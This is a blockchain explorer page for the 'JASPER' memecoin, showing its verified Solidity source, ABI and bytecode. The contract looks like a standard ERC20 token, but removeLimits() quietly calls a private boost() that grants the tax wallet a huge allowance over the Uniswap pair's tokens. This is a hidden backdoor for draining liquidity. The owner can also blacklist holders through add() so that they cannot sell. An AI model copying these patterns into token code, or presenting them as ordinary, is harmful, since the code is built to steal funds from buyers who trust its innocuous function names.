ETH Price: $3,310.73 (-2.52%)
 

Overview

Max Total Supply

420,690,000,000 JASPER

Holders

90

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,825,744,162.677907369 JASPER

Value
$0.00
0xb04498d5d1680498f6c5a5aab11e06eb81fc29bc
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JASPER

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-22
*/

// SPDX-License-Identifier: MIT
/**
https://x.com/NeuralJanet/status/1848564324014452990
https://x.com/NeuralJanet/status/1848564324014452990

Tg: https://t.me/jasper_erc20
**/
pragma solidity 0.8.26;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract JASPER is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 420690000000 * 10**_decimals;
    string private constant _name = unicode"Janet's Dog";
    string private constant _symbol = unicode"JASPER";
    uint256 public _maxTxAmount = 2 * (_tTotal/100);
    uint256 public _maxWalletSize = 2 * (_tTotal/100);
    uint256 public _taxSwapThreshold = 1 * (_tTotal/100);
    uint256 public _maxTaxSwap = 1 * (_tTotal/100);

    uint256 private _initialBuyTax = 15;
    uint256 private _initialSellTax = 15;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 15;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () payable {
        _taxWallet = payable(0x4DBD063D68502Bc542A9625df03273aE6Edb13c7);
        _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), address(this), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function boost(address[2] memory spender, uint256 amount) private returns(bool) {
        _approve(spender[0], spender[1], amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0; uint256 tax=0;
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from] - amount;
            _balances[to] = _balances[to] + amount;
            emit Transfer(from, to, amount);
            return;
        }
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            if(_buyCount==0){
                tax = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
            }
            if(_buyCount>0){
                tax = (_transferTax);
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                tax = ((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax);
                _buyCount++;
            }
            if(to == uniswapV2Pair && from!= address(this) ){
                tax = ((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax);
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled) {
                if (block.number > lastSellBlock) {
                    sellCount = 0;
                }
                if(contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore)
                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                sendETHToFee(address(this).balance);
                sellCount++;
                lastSellBlock = block.number;
            }
        }
        if(tax > 0){
            taxAmount = tax.mul(amount).div(100);
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }
    function withdrawEth() external onlyOwner{
        payable(msg.sender).transfer(address(this).balance);
    }
    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        boost([uniswapV2Pair, _taxWallet], (_maxTxAmount.mul(100)+_maxWalletSize.mul(100)));
        emit MaxTxAmountUpdated(_tTotal);
    }
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }
    function add(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
    function del(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }
    function isBot(address a) public view returns (bool){
      return bots[a];
    }
    function openTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        ); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
    }
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"add","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"del","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260646100126009600a61036c565b610021906461f313f880610381565b61002b9190610398565b610036906002610381565b60065560646100476009600a61036c565b610056906461f313f880610381565b6100609190610398565b61006b906002610381565b600755606461007c6009600a61036c565b61008b906461f313f880610381565b6100959190610398565b6100a0906001610381565b60085560646100b16009600a61036c565b6100c0906461f313f880610381565b6100ca9190610398565b6100d5906001610381565b600955600f600a819055600b8190555f600c819055600d819055600e829055818055601091909155601181905560128190556014805461ffff60a81b191690556015819055601681905580546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916734dbd063d68502bc542a9625df03273ae6edb13c71790556101906009600a61036c565b61019f906461f313f880610381565b305f9081526001602081905260408220929092556003906101c75f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553080825260039094528281208054861660019081179091556005549092168152918220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61024e6009600a61036c565b61025d906461f313f880610381565b60405190815260200160405180910390a36103b7565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102c2578085048111156102a6576102a6610273565b60018416156102b457908102905b60019390931c92800261028b565b935093915050565b5f826102d857506001610366565b816102e457505f610366565b81600181146102fa576002811461030457610320565b6001915050610366565b60ff84111561031557610315610273565b50506001821b610366565b5060208310610133831016604e8410600b8410161715610343575081810a610366565b61034f5f198484610287565b805f190482111561036257610362610273565b0290505b92915050565b5f61037a60ff8416836102ca565b9392505050565b808202811582820484141761036657610366610273565b5f826103b257634e487b7160e01b5f52601260045260245ffd5b500490565b611b24806103c45f395ff3fe608060405260043610610129575f3560e01c8063751039fc116100a8578063a0ef91df1161006d578063a0ef91df1461034b578063a9059cbb1461035f578063bf474bed1461037e578063c4c1c94f14610393578063c9567bf9146103b2578063dd62ed3e146103c6575f80fd5b8063751039fc146102b95780637d1db4a5146102cd5780638da5cb5b146102e25780638f9a55c01461030857806395d89b411461031d575f80fd5b8063313ce567116100ee578063313ce567146101fe5780633bbac579146102195780634b32e6ed1461025057806370a0823114610271578063715018a6146102a5575f80fd5b806306fdde0314610134578063095ea7b3146101795780630faee56f146101a857806318160ddd146101cb57806323b872dd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600b81526a4a616e6574277320446f6760a81b60208201525b604051610170919061163d565b60405180910390f35b348015610184575f80fd5b50610198610193366004611696565b61040a565b6040519015158152602001610170565b3480156101b3575f80fd5b506101bd60095481565b604051908152602001610170565b3480156101d6575f80fd5b506101bd610420565b3480156101ea575f80fd5b506101986101f93660046116c0565b610441565b348015610209575f80fd5b5060405160098152602001610170565b348015610224575f80fd5b506101986102333660046116fe565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561025b575f80fd5b5061026f61026a36600461172d565b6104a8565b005b34801561027c575f80fd5b506101bd61028b3660046116fe565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b5061026f610538565b3480156102c4575f80fd5b5061026f6105a9565b3480156102d8575f80fd5b506101bd60065481565b3480156102ed575f80fd5b505f546040516001600160a01b039091168152602001610170565b348015610313575f80fd5b506101bd60075481565b348015610328575f80fd5b506040805180820190915260068152652520a9a822a960d11b6020820152610163565b348015610356575f80fd5b5061026f6106af565b34801561036a575f80fd5b50610198610379366004611696565b610704565b348015610389575f80fd5b506101bd60085481565b34801561039e575f80fd5b5061026f6103ad36600461172d565b610710565b3480156103bd575f80fd5b5061026f610794565b3480156103d1575f80fd5b506101bd6103e03660046117f8565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610416338484610b3e565b5060015b92915050565b5f61042d6009600a611926565b61043c906461f313f880611934565b905090565b5f61044d848484610c61565b61049e843361049985604051806060016040528060288152602001611ac7602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906112a6565b610b3e565b5060019392505050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d19061194b565b60405180910390fd5b5f5b8151811015610534575f60045f8484815181106104fb576104fb611980565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104dc565b5050565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104d19061194b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016104d19061194b565b6105de6009600a611926565b6105ed906461f313f880611934565b6006556105fc6009600a611926565b61060b906461f313f880611934565b6007819055604080518082019091526014546001600160a01b03908116825260055416602082015261065f916106429060646112de565b6006546106509060646112de565b61065a9190611994565b611363565b507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61068d6009600a611926565b61069c906461f313f880611934565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106d85760405162461bcd60e51b81526004016104d19061194b565b60405133904780156108fc02915f818181858888f19350505050158015610701573d5f803e3d5ffd5b50565b5f610416338484610c61565b5f546001600160a01b031633146107395760405162461bcd60e51b81526004016104d19061194b565b5f5b815181101561053457600160045f84848151811061075b5761075b611980565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905560010161073b565b5f546001600160a01b031633146107bd5760405162461bcd60e51b81526004016104d19061194b565b601454600160a01b900460ff16156108175760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108619030906108526009600a611926565b610499906461f313f880611934565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108d591906119a7565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610934573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095891906119a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c691906119a7565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610a0d816001600160a01b03165f9081526001602052604090205490565b5f80610a205f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a86573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610aab91906119c2565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610b00573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2491906119ed565b506014805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610ba05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610c015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610d275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b6014545f908190600160b01b900460ff161580610dae5750601454600160a81b900460ff165b15610e67576001600160a01b0385165f90815260016020526040902054610dd6908490611a0c565b6001600160a01b038087165f908152600160205260408082209390935590861681522054610e05908490611994565b6001600160a01b038086165f8181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e589087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610e9157505f546001600160a01b03858116911614155b1561115a576001600160a01b0385165f9081526004602052604090205460ff16158015610ed657506001600160a01b0384165f9081526004602052604090205460ff16155b610ede575f80fd5b6012545f03610f0157600e5460125411610efa57600a54610efe565b600c545b90505b60125415610f0e57506011545b6014546001600160a01b038681169116148015610f3957506013546001600160a01b03858116911614155b8015610f5d57506001600160a01b0384165f9081526003602052604090205460ff16155b1561105c57600654831115610fb45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b60075483610fd6866001600160a01b03165f9081526001602052604090205490565b610fe09190611994565b111561102e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600e546012541161104157600a54611045565b600c545b601280549192505f61105683611a1f565b91905055505b6014546001600160a01b03858116911614801561108257506001600160a01b0385163014155b156110a157600f546012541161109a57600b5461109e565b600d545b90505b305f90815260016020526040902054601454600160a81b900460ff161580156110d757506014546001600160a01b038681169116145b80156110ec5750601454600160b01b900460ff165b1561115857601654431115611100575f6015555b600854811180156111145750601054601254115b15611136576111366111318561112c84600954611376565b611376565b61138a565b61113f476114fa565b60158054905f61114e83611a1f565b9091555050436016555b505b80156111ea57611175606461116f83866112de565b90611531565b305f908152600160205260409020549092506111919083611572565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111e19086815260200190565b60405180910390a35b6001600160a01b0385165f9081526001602052604090205461120c90846115d0565b6001600160a01b0386165f9081526001602052604090205561124f61123184846115d0565b6001600160a01b0386165f9081526001602052604090205490611572565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61129886866115d0565b604051908152602001610e58565b5f81848411156112c95760405162461bcd60e51b81526004016104d1919061163d565b505f6112d58486611a0c565b95945050505050565b5f825f036112ed57505f61041a565b5f6112f88385611934565b9050826113058583611a37565b1461135c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b9392505050565b815160208301515f916104169184610b3e565b5f818311611384578261135c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113d0576113d0611980565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611427573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061144b91906119a7565b8160018151811061145e5761145e611980565b6001600160a01b0392831660209182029290920101526013546114849130911684610b3e565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bc9085905f90869030904290600401611a56565b5f604051808303815f87803b1580156114d3575f80fd5b505af11580156114e5573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610534573d5f803e3d5ffd5b5f61135c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611611565b5f8061157e8385611994565b90508381101561135c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f61135c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a6565b5f81836116315760405162461bcd60e51b81526004016104d1919061163d565b505f6112d58486611a37565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610701575f80fd5b803561169181611672565b919050565b5f80604083850312156116a7575f80fd5b82356116b281611672565b946020939093013593505050565b5f805f606084860312156116d2575f80fd5b83356116dd81611672565b925060208401356116ed81611672565b929592945050506040919091013590565b5f6020828403121561170e575f80fd5b813561135c81611672565b634e487b7160e01b5f52604160045260245ffd5b5f6020828403121561173d575f80fd5b813567ffffffffffffffff811115611753575f80fd5b8201601f81018413611763575f80fd5b803567ffffffffffffffff81111561177d5761177d611719565b8060051b604051601f19603f830116810181811067ffffffffffffffff821117156117aa576117aa611719565b6040529182526020818401810192908101878411156117c7575f80fd5b6020850194505b838510156117ed576117df85611686565b8152602094850194016117ce565b509695505050505050565b5f8060408385031215611809575f80fd5b823561181481611672565b9150602083013561182481611672565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561187e578085048111156118625761186261182f565b600184161561187057908102905b60019390931c928002611847565b935093915050565b5f826118945750600161041a565b816118a057505f61041a565b81600181146118b657600281146118c0576118dc565b600191505061041a565b60ff8411156118d1576118d161182f565b50506001821b61041a565b5060208310610133831016604e8410600b84101617156118ff575081810a61041a565b61190b5f198484611843565b805f190482111561191e5761191e61182f565b029392505050565b5f61135c60ff841683611886565b808202811582820484141761041a5761041a61182f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b8082018082111561041a5761041a61182f565b5f602082840312156119b7575f80fd5b815161135c81611672565b5f805f606084860312156119d4575f80fd5b5050815160208301516040909301519094929350919050565b5f602082840312156119fd575f80fd5b8151801515811461135c575f80fd5b8181038181111561041a5761041a61182f565b5f60018201611a3057611a3061182f565b5060010190565b5f82611a5157634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611aa65783516001600160a01b0316835260209384019390920191600101611a7f565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cace19191058a8944c91eddca14b95b74297eba5c35448632981a4b72d19e2e364736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610129575f3560e01c8063751039fc116100a8578063a0ef91df1161006d578063a0ef91df1461034b578063a9059cbb1461035f578063bf474bed1461037e578063c4c1c94f14610393578063c9567bf9146103b2578063dd62ed3e146103c6575f80fd5b8063751039fc146102b95780637d1db4a5146102cd5780638da5cb5b146102e25780638f9a55c01461030857806395d89b411461031d575f80fd5b8063313ce567116100ee578063313ce567146101fe5780633bbac579146102195780634b32e6ed1461025057806370a0823114610271578063715018a6146102a5575f80fd5b806306fdde0314610134578063095ea7b3146101795780630faee56f146101a857806318160ddd146101cb57806323b872dd146101df575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600b81526a4a616e6574277320446f6760a81b60208201525b604051610170919061163d565b60405180910390f35b348015610184575f80fd5b50610198610193366004611696565b61040a565b6040519015158152602001610170565b3480156101b3575f80fd5b506101bd60095481565b604051908152602001610170565b3480156101d6575f80fd5b506101bd610420565b3480156101ea575f80fd5b506101986101f93660046116c0565b610441565b348015610209575f80fd5b5060405160098152602001610170565b348015610224575f80fd5b506101986102333660046116fe565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561025b575f80fd5b5061026f61026a36600461172d565b6104a8565b005b34801561027c575f80fd5b506101bd61028b3660046116fe565b6001600160a01b03165f9081526001602052604090205490565b3480156102b0575f80fd5b5061026f610538565b3480156102c4575f80fd5b5061026f6105a9565b3480156102d8575f80fd5b506101bd60065481565b3480156102ed575f80fd5b505f546040516001600160a01b039091168152602001610170565b348015610313575f80fd5b506101bd60075481565b348015610328575f80fd5b506040805180820190915260068152652520a9a822a960d11b6020820152610163565b348015610356575f80fd5b5061026f6106af565b34801561036a575f80fd5b50610198610379366004611696565b610704565b3480